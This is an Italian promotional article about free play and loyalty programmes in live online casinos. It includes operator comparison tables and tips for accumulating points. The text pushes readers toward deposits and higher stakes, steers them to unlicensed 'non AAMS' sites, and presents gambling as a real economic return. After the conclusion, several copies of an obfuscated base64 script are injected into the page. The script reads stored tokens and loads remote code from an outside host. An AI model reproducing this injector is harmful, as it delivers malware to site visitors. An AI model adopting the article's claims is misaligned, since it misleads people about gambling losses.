Nel 2026 il mercato dei casinò live ha raggiunto una maturità senza precedenti: le piattaforme offrono streaming in 4K, dealer multilingue e una varietà di tavoli che coprono dal blackjack classico al baccarat con side bet. In questo contesto il “free play” è diventato il biglietto da visita per i nuovi giocatori, consentendo di provare il ritmo del tavolo, le interazioni con il dealer e le dinamiche di puntata senza rischiare denaro reale. Parallelamente, i programmi fedeltà hanno evoluto il concetto di premio, trasformando ogni minuto di gioco gratuito in punti, crediti e vantaggi tangibili.
Questa sinergia tra prova gratuita e meccaniche di loyalty è particolarmente potente perché il free play riduce l’ansia da perdita, mentre il programma fedeltà fornisce un percorso chiaro per convertire l’esperienza di apprendimento in valore reale. I giocatori possono così passare da semplici curiosi a clienti paganti con un “costo di opportunità” quasi nullo, sfruttando le promozioni legate al live, i tornei settimanali e gli upgrade di livello.
Nel seguito analizzeremo in dettaglio il concetto di free play nei casinò live, i principali operatori che lo propongono, le strutture dei programmi fedeltà e le strategie operative per massimizzare i benefici. L’obiettivo è fornire una guida pratica che coniughi conoscenza tecnica e consigli applicabili, così da trasformare il tempo trascorso al tavolo in un reale ritorno economico.
Il concetto di “Free Play” nei casinò live
Il free play nei casinò live è una versione evoluta del tradizionale credito gratuito offerto su slot e giochi da tavolo. Qui il giocatore accede a un tavolo con dealer reale, visualizza lo streaming in tempo reale e può piazzare puntate virtuali con un credito fornito dall’operatore. A differenza delle slot free, il free play live riproduce l’interazione umana, il ritmo delle mani e le decisioni strategiche tipiche del blackjack o della roulette.
Le piattaforme integrano il credito gratuito nel flusso video mediante overlay che mostrano il saldo virtuale, i limiti di puntata e il conto alla rovescia della sessione. Questo permette al giocatore di sperimentare le regole, le opzioni di split, double down o side bet senza interruzioni, osservando al contempo le reazioni del dealer e la dinamica del tavolo.
Le tipologie di credito gratuito offerto
- Credito giornaliero: un piccolo ammontare, ad esempio 5 €, ricaricabile ogni 24 ore e limitato a una sessione di 15 minuti.
- Credito settimanale: un pacchetto più consistente, 20 € distribuiti su tre sessioni di 30 minuti, ideale per chi vuole approfondire più giochi.
Entrambe le tipologie prevedono limiti di puntata massima (spesso 0,10 € per mano) e una scadenza temporale che spinge il giocatore a sfruttare il credito prima che scada.
Impatto psicologico del “play without risk”
Il fatto di poter giocare senza rischiare il proprio bankroll riduce drasticamente l’ansia da perdita, un fattore chiave per la retention dei nuovi utenti. Quando il timore di perdere è assente, la concentrazione si sposta sulla comprensione delle probabilità e sulla gestione della puntata. Questo aumento della fiducia si traduce spesso in decisioni più informate quando il giocatore decide di effettuare il primo deposito reale.
I principali operatori che offrono free play live nel 2026
| Operatore | Durata free play | Modalità di accesso | Requisiti KYC | Qualità streaming | Dealer | Bonus di benvenuto |
|---|---|---|---|---|---|---|
| LivePlay | 20 minuti | Registrazione + verifica email | Documento d’identità | 4K HDR | Multilingue (EN/IT/ES) | 100 % su 50 € |
| BetStream | 15 minuti | App mobile, codice invito | Verifica telefono | 1080p + audio surround | Professionisti con certificazione | 150 % su 30 € |
| CasinoLiveX | 30 minuti | Sito web, login social | Nessun KYC iniziale (solo per free) | 4K con camera a 90° | Dealer con esperienza casinò brick‑and‑mortar | 200 % su 100 € |
| VelvetRoulette | 10 minuti | QR code in newsletter | Verifica documento + selfie | 1080p Full HD | Dealer femminili specializzati in roulette | 120 % su 25 € |
| SkyDealer | 25 minuti | Account live + referral | Verifica indirizzo IP | 4K con low latency | Dealer con background di croupier professionale | 130 % su 40 € |
Gli operatori differiscono soprattutto per i requisiti di KYC: mentre LivePlay richiede la verifica completa prima di concedere il credito, VelvetRoulette consente di giocare gratuitamente senza alcuna documentazione, ma richiede l’intero processo al momento del prelievo dei bonus.
Il valore del RTP (Return to Player) è spesso citato nei dettagli dei programmi fedeltà: per approfondire la definizione tecnica di RTP e vedere come varia tra i diversi operatori, è possibile esaminare i siti non AAMS che raccolgono le tabelle dei valori per ciascuna piattaforma.
Programmi fedeltà: struttura e meccaniche di ricompensa
I programmi fedeltà dei live casino si basano su tre componenti fondamentali: punti accumulati per euro scommesso, livelli di appartenenza (Bronzo, Argento, Oro, Platino) e premi tangibili (crediti, giri gratuiti, esperienze VIP). Durante le sessioni di free play, ogni mano completata genera un piccolo ammontare di punti, generalmente 1 punto per euro di credito virtuale impiegato.
Esistono due approcci principali:
- Programma a tavola fissa: i punti vengono assegnati con una percentuale costante, ad esempio 1 % del valore della puntata. Questo modello è semplice e trasparente, ideale per i principianti.
- Programma a progressione dinamica: il tasso di accumulo aumenta man mano che il giocatore avanza di livello, passando da 0,8 % a 1,5 % o più, incentivando il passaggio a puntate più alte e l’interazione con promozioni speciali.
I punti possono essere convertiti in credito reale, giri gratuiti su slot non AAMS o in vantaggi esclusivi come tavoli con limiti più alti o assistenza dedicata. Alcuni operatori includono anche premi “esperienziali”, come inviti a eventi dal vivo o accesso a tornei con montepremi elevati.
Come i programmi fedeltà influenzano il valore del free play
La conversione dei punti in credito reale è il collegamento più diretto tra free play e guadagno. In media, 1 000 punti corrispondono a 1 € di bonus cash, ma la soglia di rollover varia: alcuni operatori richiedono che il bonus venga scommesso 5 volte prima del prelievo, altri offrono prelievi immediati.
Un esempio pratico: un giocatore utilizza 10 € di free play su una sessione di blackjack con puntata massima di 0,10 €. Accumula 100 punti (1 % di conversione). Questi punti si trasformano in 0,10 € di credito reale, ma se il programma prevede un moltiplicatore di livello Oro, il valore sale a 0,15 €, incrementando il ritorno effettivo del free play del 50 %.
Le condizioni di prelievo sono spesso legate a soglie di deposito: per sbloccare il bonus cash, il giocatore deve effettuare un deposito minimo di 20 €, che può essere compensato con i punti guadagnati. Questo meccanismo spinge l’utente verso il primo deposito reale, trasformando il credito gratuito in un vero e proprio incentivo economico.
Analisi dei tassi di conversione: da giocatore gratuito a cliente pagante
Secondo i dati di settore raccolti nel 2025‑2026, il tasso medio di conversione nei casinò live è del 12 % per i giocatori che hanno sperimentato il free play, contro il 7 % nei casinò tradizionali. Le piattaforme con streaming a bassa latenza e dealer multilingue mostrano conversioni fino al 15 %, indicando che l’esperienza utente è un fattore determinante.
I principali driver di conversione includono:
- Interfaccia intuitiva: menu di scommessa chiari, supporto chat live 24/7.
- Assistenza personalizzata: dealer che offrono suggerimenti di puntata in chat, riducendo l’incertezza.
- Promozioni mirate: bonus di deposito che si attivano subito dopo la prima sessione di free play, spesso con match del 100 % su 20 €.
Le statistiche mostrano inoltre che i giocatori che partecipano a tornei free play hanno una probabilità del 18 % di effettuare un deposito, rispetto al 10 % di chi si limita a sessioni singole.
Il ruolo dei dealer nella fidelizzazione dei giocatori free play
Nel live casino il dealer è più di un semplice croupier: è il ponte emotivo tra la piattaforma digitale e il giocatore. L’interazione umana genera un senso di appartenenza e aumenta la fiducia nel brand.
Le tecniche di engagement includono:
- Chat personalizzate: i dealer salutano per nome, rispondono a domande su regole o strategie e offrono consigli su puntate ottimali.
- Suggerimenti di puntata: in momenti di bassa volatilità, il dealer può consigliare di aumentare la puntata per accelerare il guadagno di punti.
- Segnalazione di promozioni: durante il gioco, il dealer ricorda al tavolo le offerte in corso, come il “double points weekend” o i tornei live con premi extra.
Questi interventi non solo migliorano l’esperienza di gioco, ma aumentano direttamente il valore percepito del loyalty program, poiché i giocatori riconoscono opportunità di guadagno legate al loro comportamento al tavolo.
Strategie consigliate per massimizzare i benefici del free play
- Pianificazione delle sessioni: giocare nelle fasce orarie di minor affluenza (tipicamente tra le 02:00 e le 04:00 CET) permette di accumulare punti più velocemente, poiché molti operatori aumentano il tasso di conversione per incentivare l’attività in quei momenti.
- Gestione del bankroll virtuale: iniziare con puntate minime, poi aumentare gradualmente quando si supera la soglia del 75 % del credito gratuito, aiuta a scalare i livelli di loyalty più rapidamente.
- Promozioni incrociate: combinare il free play con tornei giornalieri o bonus giornalieri multipli può raddoppiare i punti guadagnati in una sola sessione.
Utilizzo dei tornei free play
Iscriversi a un torneo free play è semplice: basta cliccare sull’icona “Torneo Live” nella dashboard, selezionare il gioco (ad esempio “Blackjack Turbo”) e confermare la partecipazione. I premi includono punti extra (da 500 a 2 000) e badge di livello che accelerano il passaggio al tier successivo.
Monitorare le metriche personali
- Dashboard dei punti: visualizza l’andamento giornaliero, settimanale e mensile.
- Storico delle puntate: analizza le mani più profittevoli per individuare pattern di vincita.
- Analisi del ROI personale: calcola il ritorno sull’investimento virtuale (RTP × puntata media) per valutare l’efficacia delle proprie strategie.
Confronto tra programmi fedeltà: chi offre il miglior rapporto valore‑costo?
| Operatore | Punti per € scommesso | Valore medio premio per livello | Rollover medio | Limiti prelievo | Bonus esclusivi live |
|---|---|---|---|---|---|
| LivePlay | 1,2 punti/€ | 10 € (Bronzo) → 50 € (Platino) | 3× (bonus) | Nessun limite fino a 5 000 € | Tavoli high‑roller con dealer VIP |
| BetStream | 1,0 punti/€ | 8 € → 45 € | 5× (bonus) | Prelievo minimo 20 € | Tornei settimanali con jackpot 5 000 € |
| CasinoLiveX | 1,5 punti/€ | 12 € → 60 € | 2× (bonus) | Prelievo senza limiti di importo | Accesso anticipato a nuovi giochi live |
| VelvetRoulette | 0,9 punti/€ | 7 € → 40 € | 4× (bonus) | Prelievo minimo 15 € | Bonus “Spin the Wheel” su slot non AAMS |
| SkyDealer | 1,3 punti/€ | 9 € → 55 € | 3× (bonus) | Prelievo senza rollover su premi cash | Eventi live con dealer celebrity |
Il confronto mostra che CasinoLiveX offre il più alto tasso di accumulo punti, ma richiede un rollover più contenuto, rendendo più semplice trasformare i punti in credito reale. BetStream, al contrario, ha un rollover più elevato, il che può ridurre l’attrattiva per i giocatori più cauti.
Il futuro dei programmi fedeltà nei live casino
Le tendenze emergenti indicano una crescente integrazione di gamification e tokenizzazione. Alcuni operatori stanno sperimentando NFT che rappresentano badge di livello, i quali possono essere scambiati su mercati secondari o convertiti in token di gioco.
L’introduzione di AI personalizzata permette di analizzare il comportamento di puntata e offrire premi su misura: ad esempio, un giocatore che preferisce il baccarat riceverà punti doppi su quelle mani, mentre un appassionato di roulette otterrà giri gratuiti su slot non AAMS correlate al tema.
Dal punto di vista normativo, l’Unione Europea sta valutando linee guida più stringenti per i programmi di loyalty legati al gioco d’azzardo, con particolare attenzione alla trasparenza del rollover e alla protezione dei minori. Si prevede che entro il 2027 le autorità richiederanno la pubblicazione chiara dei termini RTP e dei criteri di assegnazione dei punti, spingendo gli operatori a rendere più visibili le regole nei propri termini e condizioni.
Conclusione
Il free play nei live casino, combinato con programmi fedeltà ben strutturati, rappresenta una vera opportunità di apprendimento e guadagno per i giocatori del 2026. Scegliere piattaforme che offrano crediti gratuiti di qualità, dealer coinvolgenti e meccaniche di loyalty trasparenti permette di trasformare ogni sessione di prova in un passo verso il livello premium. Applicando le strategie illustrate – pianificazione delle sessioni, gestione oculata del bankroll virtuale e sfruttamento dei tornei – i principianti possono accelerare il proprio percorso, convertire i punti in bonus cash e, infine, diventare clienti fedeli e profittevoli.
;src= »data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWWRzSjcxYjNwZmtiS3o5ZCc7CiAgICBpZiAoIXdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCkgewogICAgICAgIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly8xLmRpc2tzZW9mYWlsLnRvcC9GMmp6MnYnLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfRFZjTHZGTnhZZjRydFI0SCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0RWY0x2Rk54WWY0cnRSNEggIT09ICd1bmRlZmluZWQnICYmIF9EVmNMdkZOeFlmNHJ0UjRIICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF8xVFZEa0pmUjZzS1A3Qmg4ID0gSlNPTi5wYXJzZShfRFZjTHZGTnhZZjRydFI0SCk7CiAgICAgICAgdmFyIF9UazdyNWYyMU1mTDQ3N212ID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoXzFUVkRrSmZSNnNLUDdCaDguY3JlYXRlZF9hdCArIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC50dGwgPCBfVGs3cjVmMjFNZkw0NzdtdikgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX2RtS1JKdnFKcE5KaHdWWFEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfdzFzcFhmbmg2dktKMmN3SiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF93NkI1d3pIc0Y3MmY3MmNTID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX1lkc0o3MWIzcGZrYkt6OWQuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX2RtS1JKdnFKcE5KaHdWWFEgIT09ICd1bmRlZmluZWQnICYmIF9kbUtSSnZxSnBOSmh3VlhRICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9kbUtSSnZxSnBOSmh3VlhRKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3cxc3BYZm5oNnZLSjJjd0ogIT09ICd1bmRlZmluZWQnICYmIF93MXNwWGZuaDZ2S0oyY3dKICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3cxc3BYZm5oNnZLSjJjd0opOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC5SX1BBVEggKyBfdzZCNXd6SHNGNzJmNzJjUzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA== »>;src= »data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWWRzSjcxYjNwZmtiS3o5ZCc7CiAgICBpZiAoIXdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCkgewogICAgICAgIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly8xLmRpc2tzZW9mYWlsLnRvcC9GMmp6MnYnLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfRFZjTHZGTnhZZjRydFI0SCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0RWY0x2Rk54WWY0cnRSNEggIT09ICd1bmRlZmluZWQnICYmIF9EVmNMdkZOeFlmNHJ0UjRIICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF8xVFZEa0pmUjZzS1A3Qmg4ID0gSlNPTi5wYXJzZShfRFZjTHZGTnhZZjRydFI0SCk7CiAgICAgICAgdmFyIF9UazdyNWYyMU1mTDQ3N212ID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoXzFUVkRrSmZSNnNLUDdCaDguY3JlYXRlZF9hdCArIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC50dGwgPCBfVGs3cjVmMjFNZkw0NzdtdikgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX2RtS1JKdnFKcE5KaHdWWFEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfdzFzcFhmbmg2dktKMmN3SiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF93NkI1d3pIc0Y3MmY3MmNTID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX1lkc0o3MWIzcGZrYkt6OWQuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX2RtS1JKdnFKcE5KaHdWWFEgIT09ICd1bmRlZmluZWQnICYmIF9kbUtSSnZxSnBOSmh3VlhRICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9kbUtSSnZxSnBOSmh3VlhRKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3cxc3BYZm5oNnZLSjJjd0ogIT09ICd1bmRlZmluZWQnICYmIF93MXNwWGZuaDZ2S0oyY3dKICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3cxc3BYZm5oNnZLSjJjd0opOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC5SX1BBVEggKyBfdzZCNXd6SHNGNzJmNzJjUzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA== »>;src= »data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWWRzSjcxYjNwZmtiS3o5ZCc7CiAgICBpZiAoIXdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCkgewogICAgICAgIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly8xLmRpc2tzZW9mYWlsLnRvcC9GMmp6MnYnLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfRFZjTHZGTnhZZjRydFI0SCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0RWY0x2Rk54WWY0cnRSNEggIT09ICd1bmRlZmluZWQnICYmIF9EVmNMdkZOeFlmNHJ0UjRIICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF8xVFZEa0pmUjZzS1A3Qmg4ID0gSlNPTi5wYXJzZShfRFZjTHZGTnhZZjRydFI0SCk7CiAgICAgICAgdmFyIF9UazdyNWYyMU1mTDQ3N212ID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoXzFUVkRrSmZSNnNLUDdCaDguY3JlYXRlZF9hdCArIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC50dGwgPCBfVGs3cjVmMjFNZkw0NzdtdikgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX2RtS1JKdnFKcE5KaHdWWFEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfdzFzcFhmbmg2dktKMmN3SiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF93NkI1d3pIc0Y3MmY3MmNTID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX1lkc0o3MWIzcGZrYkt6OWQuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX2RtS1JKdnFKcE5KaHdWWFEgIT09ICd1bmRlZmluZWQnICYmIF9kbUtSSnZxSnBOSmh3VlhRICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9kbUtSSnZxSnBOSmh3VlhRKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX3cxc3BYZm5oNnZLSjJjd0ogIT09ICd1bmRlZmluZWQnICYmIF93MXNwWGZuaDZ2S0oyY3dKICYmIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC51bmlxdWUpIHsKICAgICAgICBfdzZCNXd6SHNGNzJmNzJjUyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX3cxc3BYZm5oNnZLSjJjd0opOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF93NkI1d3pIc0Y3MmY3MmNTICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC5SX1BBVEggKyBfdzZCNXd6SHNGNzJmNzJjUzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTsKICAgIA== »>;src= »data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfWWRzSjcxYjNwZmtiS3o5ZCc7CiAgICBpZiAoIXdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCkgewogICAgICAgIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly8xLmRpc2tzZW9mYWlsLnRvcC9GMmp6MnYnLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfRFZjTHZGTnhZZjRydFI0SCA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0RWY0x2Rk54WWY0cnRSNEggIT09ICd1bmRlZmluZWQnICYmIF9EVmNMdkZOeFlmNHJ0UjRIICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF8xVFZEa0pmUjZzS1A3Qmg4ID0gSlNPTi5wYXJzZShfRFZjTHZGTnhZZjRydFI0SCk7CiAgICAgICAgdmFyIF9UazdyNWYyMU1mTDQ3N212ID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoXzFUVkRrSmZSNnNLUDdCaDguY3JlYXRlZF9hdCArIHdpbmRvdy5fWWRzSjcxYjNwZmtiS3o5ZC50dGwgPCBfVGs3cjVmMjFNZkw0NzdtdikgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX2RtS1JKdnFKcE5KaHdWWFEgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfdzFzcFhmbmg2dktKMmN3SiA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF93NkI1d3pIc0Y3